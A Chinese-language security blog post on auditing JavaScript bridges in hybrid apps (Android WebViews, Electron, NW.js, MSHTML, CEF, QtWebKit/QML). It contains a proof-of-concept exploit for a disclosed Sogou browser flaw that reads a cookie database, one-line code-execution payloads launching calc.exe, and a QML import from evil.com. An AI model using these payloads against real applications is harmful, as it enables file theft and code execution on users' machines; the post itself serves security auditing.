對於WEB APP安全問題的一些思考
WEB APP現在逐漸成為一種主流,大部分移動端、客戶端都有訪問H5頁面的需求,為了使用者體驗,客戶端程式碼和網頁就會通過JS來互動。如果沒有控制好互動,就會出現一些高風險漏洞
這和挖掘瀏覽器漏洞很相似,瀏覽器一般會提供一些高許可權的API,而這些API只有特權域才有執行許可權,通過尋找特權域的 XSS或者繞過特權域的方式,導致了瀏覽器的UXSS、RCE、本地檔案讀取等漏洞。而對於WEB APP也十分相似,一般來說需要匯出特殊的物件來看,常見的有window、navigator
、external,當然對於APP可能需要利用遠端除錯來完成這些工作,這樣更為方便一些
for(w in window){ document.write(w + "<br/>"); }
android
首先android來說可以逆向一波,直接搜尋addJavaScriptInterface,看看客戶端都暴露了哪一些物件給我們的頁面。這樣可以直接去查詢原始碼,構造可執行的payload,這無疑是最方便穩妥的辦法,但很多APP上線之後會進行安全加固,這種方法也就不可行了。十分典型的漏洞就是,WooYun-2016-186856 搜狗瀏覽器直接暴露了兩個方法,導致可以跨域
可以看到建立了sogoumse_interface
於是思路就出現了,利用該物件開啟一個標籤,並且執行JS
<script> function excuteScriptInClosure(a,b,c){ alert(b); } sogoumse_interface.createTab("ext","{\"url\":\"http://**.**.**.**\",\"active\":true}",""); setTimeout("foo()",3000); functionfoo(){ for (var i=0;i<=10;i++){ sogoumse_interface.excuteScript(i+"","ext","{\"code\":\"\",\"file\":\"/data/data/sogou.mobile.explorer/databases/webviewCookiesChromium.db\"}","alert(document.domain)"); }; } </script>
當然也可以進行遠端除錯,在控制檯看看到底有哪一些方法,很多APP在上線前不會關閉遠端除錯。對於關閉遠端除錯的情況,我們可以通過chrome來進行除錯。如果關閉了遠端除錯和加固了,也沒有關係,對於移動端的話可以通過各類活動的H5頁面的原始碼來搜尋可利用的函式,比如我們公司的H5頁面,直接在一些需要與客戶端通訊的H5頁面中暴露了一些方法,我們可以根據JS程式碼,構造出Payload
當然對於大部分的移動端應用,這類問題其實並不嚴重,因為他們可能只存在於中間人攻擊的利用場景或者需要攻擊者有一個公共H5的儲存XSS漏洞,但是對於IM、瀏覽器類的APP,這類問題就尤為嚴重了,需要對程式碼進行嚴格的審計
windows客戶端
對於windows客戶端,分成幾個MSHTML、Electron、nwjs、CEF、QtWebKit
首先是 Electron 和 Nwjs。這兩個框架的 JavaScript 程式碼幾乎擁有和 C++ 程式碼同等的許可權,可以直接用一行程式碼來執行命令
require('child_process').execSync('c:\\windows\\system32\\calc.exe')
MSHTML的話利用com組建
(new ActiveXObject('WScript.Shell')).Run('calc.exe');
而未正確配置的 CEF 和 QtWebKit,往往也可以造成任意程式碼執行
window.open('file://c:/windows/system32/calc.exe')
對於我們公司的QtWebKit,他是打開了web_security的,這種情況我沒有辦法直接使用window.open方法,所以我根據大佬部落格,查看了我們客戶端自帶的flash,這就像你下載瀏覽器的時候它會自帶一個flash,根據自帶flash的版本,搜尋flash的漏洞來實現RCE。很遺憾是,我們並不支援flash,所以無法通過客戶端中繫結的flash漏洞來RCE。通過深入的瞭解我還發現了QML,這是QT可以利用的另一點,如果你能控制 qml,相當於DLL劫持。因為他具有很高的許可權。官方給出了三種十分危險的情況
Using import to import QML or JavaScript you do not control. BAD Using Loader to import QML you do not control. BAD Using XMLHttpRequest to load data you do not control and executing it. BAD
在qml中執行js
import QtQuick 1.0 import "http://evil.com/evil.js" as Evil Component { onLoaded: Evil.doEvil() }
利用點在於如果QML中我們可以控制匯入QML或者JS,或者用xmlhttp來獲取需要執行的引數時,我們可以攻擊客戶端,因為qml具有本地檔案的讀取許可權,結合c++提供的特定物件甚至可以RCE。當我發現這個的時候,我搜尋了公司客戶端程式碼中所有的QML檔案,幸運的是我沒有發現匯入第三方JS的情況,也沒有其他不可控的因素。但是這個問題是存在的,因為我在其他地方發現了這種不規範的程式碼
qtwebkit
當然QT也有定製化的攻擊手法,這不同於QML,而是Webkit的問題,兩者的差別比較大。QT通過addToJavaScriptWindowObject來賦予JS訪問C++物件的許可權,所以如果我們能夠檢視原始碼,可以直接搜尋這個函式尋找可利用的點。當然如果不行也沒關係,按照定製化的思路,我們可以檢視是否有特殊的方法提供給我們使用。如果你找不出來,我將在下面提供QT最基本的方法,當你排除以下方法的時候,你可以快速找出開發者自己定義的方法
window
speechSynthesis
caches
stop
open
alert
confirm
prompt
print
requestAnimationFrame
cancelAnimationFrame
requestIdleCallback
cancelIdleCallback
captureEvents
releaseEvents
getComputedStyle
matchMedia
moveTo
moveBy
resizeTo
resizeBy
getSelection
find
getMatchedCSSRules
webkitRequestAnimationFrame
webkitCancelAnimationFrame
webkitCancelRequestAnimationFrame
btoa
atob
setTimeout
clearTimeout
localStorage
sessionStorage
webkitStorageInfo
setInterval
clearInterval
createImageBitmap
scroll
scrollTo
indexedDB
scrollBy
webkitIndexedDB
ondeviceorientationabsolute
ondeviceorientation
fetch
ondevicemotion
webkitRequestFileSystem
crypto
postMessage
blur
webkitResolveLocalFileSystemURL
focus
openDatabase
close
console
onpointerup
onpointerover
onpointerout
onpointermove
onpointerleave
onpointerenter
onpointerdown
onpointercancel
customElements
onauxclick
performance
onunload
onunhandledrejection
onstorage
onrejectionhandled
onpopstate
onpageshow
onpagehide
ononline
onoffline
onmessage
onlanguagechange
onhashchange
onbeforeunload
onwaiting
onvolumechange
ontoggle
ontimeupdate
onsuspend
onsubmit
onstalled
onshow
onselect
onseeking
onseeked
onscroll
onresize
onreset
onratechange
onprogress
onplaying
onplay
onpause
onmousewheel
onmouseup
onmouseover
onmouseout
onmousemove
onmouseleave
onmouseenter
onmousedown
onloadstart
onloadedmetadata
onloadeddata
onload
onkeyup
onkeypress
onkeydown
oninvalid
oninput
onfocus
onerror
onended
onemptied
ondurationchange
ondrop
ondragstart
ondragover
ondragleave
ondragenter
ondragend
ondrag
ondblclick
oncuechange
oncontextmenu
onclose
onclick
onchange
oncanplaythrough
oncanplay
oncancel
onblur
onabort
isSecureContext
onwheel
onwebkittransitionend
onwebkitanimationstart
onwebkitanimationiteration
onwebkitanimationend
ontransitionend
onsearch
onanimationstart
onanimationiteration
onanimationend
styleMedia
defaultstatus
defaultStatus
screenTop
screenLeft
clientInformation
devicePixelRatio
outerHeight
outerWidth
screenY
screenX
pageYOffset
scrollY
pageXOffset
scrollX
innerHeight
innerWidth
screen
external
applicationCache
navigator
frameElement
parent
opener
top
length
frames
closed
status
toolbar
statusbar
scrollbars
personalbar
menubar
locationbar
history
location
name
self
window
document 1
navigator
vendorSub
productSub
vendor
maxTouchPoints
hardwareConcurrency
appCodeName
appName
appVersion
platform
product
userAgent
language
languages
onLine
cookieEnabled
doNotTrack
geolocation
mediaDevices
plugins
mimeTypes
webkitTemporaryStorage
webkitPersistentStorage
serviceWorker
getBattery
sendBeacon
requestMediaKeySystemAccess
getGamepads
webkitGetUserMedia
javaEnabled
vibrate
requestMIDIAccess
credentials
storage
permissions
presentation
getUserMedia
registerProtocolHandler
unregisterProtocolHandler
如果錯誤,歡迎指正,參考大佬博文:https://blog.zsxsoft.com/post/32